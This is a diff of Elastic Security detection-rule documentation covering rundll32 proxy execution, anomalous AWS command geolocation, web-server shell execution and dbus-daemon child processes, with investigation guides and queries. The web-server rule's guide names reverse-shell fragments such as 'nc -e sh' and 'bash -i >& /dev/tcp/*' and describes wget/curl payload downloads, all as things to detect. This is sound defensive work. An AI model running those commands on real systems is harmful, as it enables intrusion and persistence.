+*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=1h + [process where host.os.type == "windows" and event.type == "start" and + (process.name : "rundll32.exe" or process.pe.original_file_name == "RUNDLL32.EXE") and + (process.args_count == 1 and + /* Excludes bug where a missing closing quote sets args_count to 1 despite extra args */ + not process.command_line regex~ """\".*\.exe[^\"].*""") + ] by process.entity_id + [process where host.os.type == "windows" and event.type == "start" and process.parent.name : "rundll32.exe" + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-city-for-an-aws-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-city-for-an-aws-command.asciidoc new file mode 100644 index 0000000000..e215569851 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-city-for-an-aws-command.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-34-unusual-city-for-an-aws-command]] +=== Unusual City For an AWS Command + +A machine learning job detected AWS command activity that, while not inherently suspicious or abnormal, is sourcing from a geolocation (city) that is unusual for the command. This can be the result of compromised credentials or keys being used by a threat actor in a different geography than the authorized user(s). + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-2h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide +* Platform: AWS + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual City For an AWS Command* + + +CloudTrail logging provides visibility on actions taken within an AWS environment. By monitoring these events and understanding what is considered normal behavior within an organization, you can spot suspicious or malicious activity when deviations occur. + +This rule uses a machine learning job to detect an AWS API command that while not inherently suspicious or abnormal, is sourcing from a geolocation (city) that is unusual for the command. This can be the result of compromised credentials or keys used by a threat actor in a different geography than the authorized user(s). + +Detection alerts from this rule indicate an AWS API command or method call that is rare and unusual for the geolocation of the source IP address. + + +*Possible investigation steps* + + +- Identify the user account involved and the action performed. Verify whether it should perform this kind of action. + - Examine the user identity in the `aws.cloudtrail.user_identity.arn` field and the access key ID in the `aws.cloudtrail.user_identity.access_key_id` field, which can help identify the precise user context. + - The user agent details in the `user_agent.original` field may also indicate what kind of a client made the request. +- Investigate other alerts associated with the user account during the past 48 hours. +- Validate the activity is not related to planned patches, updates, or network administrator activity. +- Examine the request parameters. These might indicate the source of the program or the nature of its tasks. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the calling user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? + - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Contact the account owner and confirm whether they are aware of this activity if suspicious. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- False positives can occur if activity is coming from new employees based in a city with no previous history in AWS. +- Examine the history of the command. If the command only manifested recently, it might be part of a new automation module or script. If it has a consistent cadence (for example, it appears in small numbers on a weekly or monthly cadence), it might be part of a housekeeping or maintenance process. You can find the command in the `event.action field` field. + + +*Related Rules* + + +- Unusual Country For an AWS Command - dca28dee-c999-400f-b640-50a081cc0fd1 +- Unusual AWS Command for a User - ac706eae-d5ec-4b14-b4fd-e8ba8086f0e1 +- Rare AWS Error Code - 19de8096-e2b0-4bd8-80c9-34a820813fff +- Spike in AWS Error Messages - 78d3d8d9-b476-451d-a9e0-7a5addd70670 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from AWS. + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*AWS Integration Setup* + +The AWS integration allows you to collect logs and metrics from Amazon Web Services (AWS) with Elastic Agent. + + +*The following steps should be executed in order to add the Elastic Agent System integration "aws" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “AWS” and select the integration to see more details about it. +- Click “Add AWS”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “aws” to an existing or a new agent policy, and deploy the agent on your system from which aws log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://www.elastic.co/docs/current/integrations/aws[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-command-execution-via-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-command-execution-via-web-server.asciidoc new file mode 100644 index 0000000000..5e6e39d964 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-command-execution-via-web-server.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-unusual-command-execution-via-web-server]] +=== Unusual Command Execution via Web Server + +This rule leverages the "new_terms" rule type to detect unusual command executions originating from web server processes on Linux systems. Attackers may exploit web servers to maintain persistence on a compromised system, often resulting in atypical command executions. As command execution from web server parent processes is common, the "new_terms" rule type approach helps to identify deviations from normal behavior. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Web +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Web Shell +* Rule Type: New Terms +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Command Execution via Web Server* + + +This rule detects shells invoked by web server processes on Linux to run one-off commands, surfacing command lines the server has never executed before. Attackers exploit vulnerable apps or dropped webshells to launch bash -c from web roots, e.g., download a payload with wget/curl into /opt or /tmp, chmod +x and execute it, or open a reverse shell (nc -e sh) to implant services or cron-like tasks and persist under the web server account. + + +*Possible investigation steps* + + +- Reconstruct the process tree around the event to identify the shell payload and parent service, determine if it chains downloads, reverse shells, or archive extraction, and hash/snapshot any referenced files. +- Pivot to web server access and error logs at the timestamp to identify the request path, client IP, user agent, and HTTP verb that triggered execution, noting anomalies like POST uploads, long query strings, or 500s. +- List and diff newly created or recently modified files under common web roots and application directories around the event time, looking for webshells, chmod+x artifacts, .php/.jsp backdoors, or systemd/cron writes by the same user. +- Correlate with network telemetry to see if the web tier opened outbound connections or listeners (nc, bash -i, curl/wget), and capture any active sockets and destinations for rapid containment. +- Validate whether the command matches expected maintenance tasks for the application (e.g., wkhtmltopdf or image processing), and if not, isolate the process and host while scoping for the same pattern across other servers and preserving volatile evidence. + + +*False positive analysis* + + +- A legitimate web-admin workflow (plugin/module install, content import, or cache warmup) spawns sh -c from an apache/nginx parent in /var/www to run tar/chmod/chown steps, producing a command line the host has not previously executed under www-data. +- A recently deployed application feature performs server-side document or image processing and rotates logs by calling sh -c from a framework parent (flask/rails/php) with a working directory in /opt or /usr/share/nginx, making the specific shell invocation a new term for this server. + + +*Response and remediation* + + +- Quarantine the affected web server by removing it from the load balancer, stopping apache/nginx/httpd, and killing the spawned shell (e.g., bash -c) while capturing /proc//cmdline and /proc//environ, lsof, and active sockets for evidence. +- Block outbound egress from the web server account and immediately deny destinations contacted by curl/wget or reverse shells (nc, bash -i to /dev/tcp), and rotate exposed API keys or credentials referenced in the command line. +- Eradicate persistence by deleting newly dropped or modified files under /var/www, /usr/share/nginx, /srv/http, /opt, or /home/*/public_html (webshells, .php backdoors), removing downloaded binaries from /tmp or /opt, and cleaning cron/systemd units created by www-data/nginx. +- Recover by restoring web content and application code from known-good backups or images, verifying file ownership and permissions, and restarting the service with monitored command allowlists and file integrity checks. +- Escalate to full incident response and forensic imaging if any reverse shell artifacts (nc -e sh, bash -i >& /dev/tcp/*), privileged writes (/etc/systemd/system/*.service, /var/spool/cron/*), or sudo execution by the web server user are observed. +- Harden by disabling risky exec paths (PHP exec/system/shell_exec and unsafe plugins), enforcing noexec,nodev,nosuid mounts on web roots, applying SELinux/AppArmor confinement to web processes, narrowing outbound egress, and deploying WAF/mod_security rules for upload and RCE vectors. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and ( + process.parent.name:( + apache2 or asterisk or caddy or daphne or flask or frankenphp or httpd or httpd.worker or + lswsctrl or mongrel_rails or nginx or php-cgi or php-cgi.cagefs or php-fcgi or starman or + sw-engine-fpm or uvicorn or uwsgi or varnishd or waitress-serve or zabbix_server or *.cgi + or *.fcgi or gunicorn* or php-fpm* or lsphp* + ) or + process.parent.name:ruby* and process.parent.command_line:(*passenger* or *puma* or *rails*) or + process.parent.name:python* and process.parent.command_line:( + *app.py* or *asgi.py* or *django* or *flask* or *hypercorn* or *server.py* or *uvicorn* or *wsgi.py* + ) or + process.parent.name:perl* and process.parent.command_line:*plackup* or + process.parent.name:java and process.parent.args:( + com.atlassian.jira.startup.Launcher or com.caucho.server.resin.Resin or com.google.gerrit.pgm.Daemon or + com.ibm.ws.kernel.boot.cmdline.Bootstrap or com.ibm.ws.runtime.WsServer or + com.sun.enterprise.glassfish.bootstrap.ASMain or io.dropwizard.cli.ServerCommand or + io.helidon.microprofile.server.Main or io.micronaut.runtime.Micronaut or io.quarkus.runner.GeneratedMain or + io.vertx.core.Launcher or org.apache.catalina.startup.Bootstrap or org.eclipse.jetty.start.Main or + org.elasticsearch.bootstrap.Elasticsearch or org.jboss.modules.Main or play.core.server.ProdServerStart or + weblogic.Server or *-Dsolr.solr.home=* or *BitbucketServerLauncher* or *jenkins.war* or *quarkus-run.jar* or + *weblogic-launcher.jar* or -Dcatalina.base=* or -Djboss.home.dir=* or -Djetty.home=* or -Dweblogic.Name=* or + io.helidon.webserver* or org.apereo.cas* or org.keycloak* or org.springframework.boot.loader.* + ) +) and +process.command_line:* and +process.name:(bash or busybox or csh or dash or fish or ksh or mksh or sh or tcsh or zsh) and +process.args:(-c or -cl or -lc) and +not ( + process.parent.name:java and not process.parent.executable:/u0*/* or + process.working_directory:(/u0*/*/sysman/emd or /u0*/app/oracle/product/*/db_* or /u0*/app/oracle/product/*/dbhome_* or /var/www/*edoc*) or + process.args:(/usr/bin/rsvg-convert* or /usr/local/bin/wkhtmltopdf*) or + process.command_line:*/opt/sc/bin/showvulns* or + (process.parent.name:nginx and process.name:busybox and process.args:gcc*/tmp/lua_*) or + (process.parent.name:apache2 and process.args:\"/usr/bin/7za*) or + (process.parent.name:zabbix_server and process.command_line:*fping*) or + (process.parent.name:php-fpm* and (process.command_line:*/usr/bin/pdftotext* or process.args:clamdscan*)) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-country-for-an-aws-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-country-for-an-aws-command.asciidoc new file mode 100644 index 0000000000..f8236fc91e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-country-for-an-aws-command.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-unusual-country-for-an-aws-command]] +=== Unusual Country For an AWS Command + +A machine learning job detected AWS command activity that, while not inherently suspicious or abnormal, is sourcing from a geolocation (country) that is unusual for the command. This can be the result of compromised credentials or keys being used by a threat actor in a different geography than the authorized user(s). + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-2h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide +* Platform: AWS + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Country For an AWS Command* + + +CloudTrail logging provides visibility on actions taken within an AWS environment. By monitoring these events and understanding what is considered normal behavior within an organization, you can spot suspicious or malicious activity when deviations occur. + +This rule uses a machine learning job to detect an AWS API command that while not inherently suspicious or abnormal, is sourcing from a geolocation (country) that is unusual for the command. This can be the result of compromised credentials or keys used by a threat actor in a different geography than the authorized user(s). + +Detection alerts from this rule indicate an AWS API command or method call that is rare and unusual for the geolocation of the source IP address. + + +*Possible investigation steps* + + +- Identify the user account involved and the action performed. Verify whether it should perform this kind of action. + - Examine the user identity in the `aws.cloudtrail.user_identity.arn` field and the access key ID in the `aws.cloudtrail.user_identity.access_key_id` field, which can help identify the precise user context. + - The user agent details in the `user_agent.original` field may also indicate what kind of a client made the request. +- Investigate other alerts associated with the user account during the past 48 hours. +- Validate the activity is not related to planned patches, updates, or network administrator activity. +- Examine the request parameters. These might indicate the source of the program or the nature of its tasks. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the calling user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? + - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Contact the account owner and confirm whether they are aware of this activity if suspicious. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False Positive Analysis* + + +- False positives can occur if activity is coming from new employees based in a country with no previous history in AWS. +- Examine the history of the command. If the command only manifested recently, it might be part of a new automation module or script. If it has a consistent cadence (for example, it appears in small numbers on a weekly or monthly cadence), it might be part of a housekeeping or maintenance process. You can find the command in the `event.action field` field. + + +*Related Rules* + + +- Unusual City For an AWS Command - 809b70d3-e2c3-455e-af1b-2626a5a1a276 +- Unusual AWS Command for a User - ac706eae-d5ec-4b14-b4fd-e8ba8086f0e1 +- Rare AWS Error Code - 19de8096-e2b0-4bd8-80c9-34a820813fff +- Spike in AWS Error Messages - 78d3d8d9-b476-451d-a9e0-7a5addd70670 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from AWS. + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*AWS Integration Setup* + +The AWS integration allows you to collect logs and metrics from Amazon Web Services (AWS) with Elastic Agent. + + +*The following steps should be executed in order to add the Elastic Agent System integration "aws" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “AWS” and select the integration to see more details about it. +- Click “Add AWS”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “aws” to an existing or a new agent policy, and deploy the agent on your system from which aws log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://www.elastic.co/docs/current/integrations/aws[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-d-bus-daemon-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-d-bus-daemon-child-process.asciidoc new file mode 100644 index 0000000000..843d68bdf2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-d-bus-daemon-child-process.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-34-unusual-d-bus-daemon-child-process]] +=== Unusual D-Bus Daemon Child Process + +This rule detects when an unusual child process is spawned from the `dbus-daemon` parent process. The `dbus-daemon` process is a message bus system that provides a way for applications to talk to each other. Attackers may abuse this process to execute malicious code or escalate privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual D-Bus Daemon Child Process* + + +The D-Bus daemon is a crucial component in Linux environments, facilitating inter-process communication by allowing applications to exchange information. Adversaries may exploit this by spawning unauthorized child processes to execute malicious code or gain elevated privileges. The detection rule identifies anomalies by monitoring child processes of the D-Bus daemon, excluding known benign processes and paths, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process details to identify the unusual child process spawned from the dbus-daemon, focusing on the process name and executable path to determine if it is known or potentially malicious. +- Examine the command-line arguments (process.args) of the unusual child process to understand its intended function and assess if it aligns with typical usage patterns. +- Investigate the parent process arguments (process.parent.args) to confirm whether the dbus-daemon was running in a session context or another mode that might explain the unusual child process. +- Check the process start time and correlate it with other system events or logs to identify any related activities or anomalies occurring around the same time. +- Look into the user context under which the unusual child process was executed to determine if it was initiated by a legitimate user or potentially compromised account. +- Search for any network connections or file modifications associated with the unusual child process to identify potential data exfiltration or lateral movement activities. + + +*False positive analysis* + + +- Known benign processes such as gnome-keyring-daemon and abrt-dbus may trigger the rule. Users can exclude these processes by adding them to the exception list in the detection rule. +- Processes executed from common library paths like /usr/lib/ or /usr/local/lib/ are typically non-threatening. Users should review these paths and consider excluding them if they are consistently generating false positives. +- The dbus-daemon with the --session argument is generally safe. Users can ensure this argument is included in the exception criteria to prevent unnecessary alerts. +- Specific applications like software-properties-dbus and serviceHelper.py are known to be benign. Users should verify these applications' legitimacy in their environment and exclude them if they are frequently flagged. +- Regularly review and update the exception list to include any new benign processes or paths that are identified over time, ensuring the rule remains effective without generating excessive false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious child processes spawned by the dbus-daemon that are not recognized as legitimate or necessary for system operations. +- Conduct a thorough review of the affected system's logs to identify any unauthorized access or changes made by the suspicious process. +- Restore any altered or compromised system files from a known good backup to ensure system integrity. +- Update and patch the affected system and any related software to close vulnerabilities that may have been exploited. +- Implement stricter access controls and monitoring on the dbus-daemon to prevent unauthorized process execution in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +process.parent.name == "dbus-daemon" and process.args_count > 1 and not ( + process.parent.args == "--session" or + process.args in ("/usr/lib/software-properties/software-properties-dbus", "/usr/share/backintime/qt/serviceHelper.py") or + process.name in ("dbus-daemon-launch-helper", "gnome-keyring-daemon", "abrt-dbus", "aptd", "usb-creator-helper") or + process.executable like ( + "/usr/lib/*", "/usr/local/lib/*", "/usr/libexec/*", "/tmp/newroot/*", "/usr/sbin/setroubleshootd", + "/usr/share/setroubleshoot/SetroubleshootPrivileged.py", + "/var/lib/awx/.local/share/containers/storage/overlay/*/SetroubleshootPrivileged.py", + "/home/*/.local/share/containers/storage/overlay/*/SetroubleshootPrivileged.py", + "/bin/rpm", "/run/user/*/.bubblewrap/newroot/usr/libexec/rhsmd", "/opt/CrowdStrike/sandbox/usr/libexec/rhsmd", + "/run/user/*/.bubblewrap/*/setroubleshootd" + ) or + ( + process.name like "python*" and + process.args in ( + "/usr/share/usb-creator/usb-creator-helper", "/usr/sbin/aptd", "/usr/sbin/aptk", "/usr/bin/hp-pkservice", + "/usr/libexec/language-selector/ls-dbus-backend" + ) + ) or + (process.name == "perl" and process.args like "/usr/share/system-tools-backends-*.pl") or + ?process.working_directory like "/run/user/*/.bubblewrap/newroot/var/lib/gdm/" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-discovery-signal-alert-with-unusual-process-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-discovery-signal-alert-with-unusual-process-executable.asciidoc new file mode 100644 index 0000000000..442d4a1c51 